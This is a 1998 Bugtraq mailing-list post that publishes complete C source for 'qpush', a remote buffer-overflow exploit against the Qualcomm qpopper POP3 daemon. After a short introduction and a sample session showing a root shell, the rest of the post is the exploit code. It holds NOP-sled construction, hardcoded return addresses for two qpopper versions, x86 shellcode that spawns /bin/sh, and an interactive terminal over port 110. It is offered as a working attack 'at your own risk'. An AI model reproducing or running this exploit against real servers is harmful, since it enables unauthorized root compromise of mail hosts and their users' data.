qpush: qpopper exploit source
Date: Mon, 29 Jun 1998 02:20:59 +0200
From: Herbert Rosmanith <herp@WILDSAU.IDV-EDU.UNI-LINZ.AC.AT>
To: BUGTRAQ@NETSPACE.ORG
Subject: qpush: qpopper exploit source
dear listmembers,
this program demonstrates how to exploit popper.
it took me quite a time that vsprintf() in pop_msg
translates all upper-case to lower-case, which will
result in corruptions of assembly code containing
these codes, and interpretes hexcodes like 0x0c, 0x0b
as line seperator (LF?), which seems to stop the copying
of the shell-code too early.
note that, after "qpush" has successfully executed
/bin/sh, you will not see any prompt. type "id" to
see who you are, like that:
$ ./qpush technix.oeh
ДНЪ©ДНЪ©ДНЪ©ДНЪ©ДНЪ©
id
uid=0(root) gid=0(root)
use at your own risk.
regards,
h.rosmanith
herp@wildsau.idv.uni-linz.ac.at
--------------------------- >8 --------------------------------
/* qpush: qualcom popper buffer overflow exploit (pop_msg)
* Mon Jun 29 01:26:06 GMT 1998 - herp
* Herbert Rosmanith
* herp@wildsau.idv.uni-linz.ac.at
*/
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <signal.h>
#include <unistd.h>
#include <errno.h>
long addrlist[]={
0xbfffeee4, /*2.2*/
0xbfffec2c /*2.41beta1*/
};
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh.........";
void die(char *s) {
if (errno) perror(s);
else fprintf(stderr,"%s\n",s);
exit(-1);
}
void usage() {
printf("qpush [-index] <hostname>\n"
" -0 QPOP Version 2.2 (default)\n"
" -1 QPOP Version 2.41beta1\n");
exit(0);
}
int resolv(char *host,long *ipaddr) {
if (isdigit(host[0])) {
*ipaddr=inet_addr(host);
if (*ipaddr==-1) return -1;
}
else {
struct hostent *hp;
if ((hp=gethostbyname(host))==NULL) {
fprintf(stderr,"tc: %s: unknown host\n");
exit(-1);
}
*ipaddr=*(unsigned long *)hp->h_addr;
}
return 0;
}
int connect_to(char *hostname,short port) {
struct sockaddr_in s_in;
int s;
s=socket(PF_INET,SOCK_STREAM,0);
if (s==-1) die("socket");
if (resolv(hostname,(long *)&s_in.sin_addr.s_addr)==-1)
die("unknown host");
s_in.sin_family=AF_INET;
s_in.sin_port=htons(port);
if (connect(s,(struct sockaddr *)&s_in,sizeof(s_in))==-1)
die("connect");
return s;
}
void socket_read(int s,char *buf,int len) {
int i;
switch(i=read(s,buf,len)) {
case -1: die("unexpected EOF");
case 0: die("EOF");
default:
buf[i]=0;
//printf("%s",buf);
break;
}
}
void terminal(int s) {
char buf[1024];
fd_set rfds;
fd_set fds;
int i;
for (i=0;i<NSIG;i++) signal(i,SIG_IGN);
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);
for (;;) {
memcpy(&rfds,&fds,sizeof(fds));
i=select(s+1,&rfds,NULL,NULL,NULL);
if (i==-1) die("select");
if (i==0) die("session closed");
if (FD_ISSET(s,&rfds)) {
if ((i=read(s,buf,sizeof(buf)))<1)
die("session closed");
write(1,buf,i);
}
if (FD_ISSET(0,&rfds)) {
if ((i=read(0,buf,sizeof(buf)))<1)
die("session closed");
write(s,buf,i);
}
}
}
void main(int argc,char *argv[]) {
char buf[1024+128];
int s,i,ix;
if (argc>=2 && argv[1][0]=='-') {
ix=atoi(&argv[1][1]);
argc--;
argv++;
}
else ix=0;
if (argc!=2 || ix>sizeof(addrlist)/sizeof(long))
usage();
s=connect_to(argv[1],110); /* WKS POP3 */
socket_read(s,buf,sizeof(buf));
memset(buf,0x90,sizeof(buf));
for (i=981;i<981+10*4;i+=4)
memcpy(&buf[i],&addrlist[ix],4);
memcpy(&buf[941],shellcode,strlen(shellcode));
buf[sizeof(buf)-3]=0x0d;
buf[sizeof(buf)-2]=0x0a;
buf[sizeof(buf)-1]=0x00;
write(s,buf,sizeof(buf));
socket_read(s,buf,sizeof(buf));
terminal(s);
}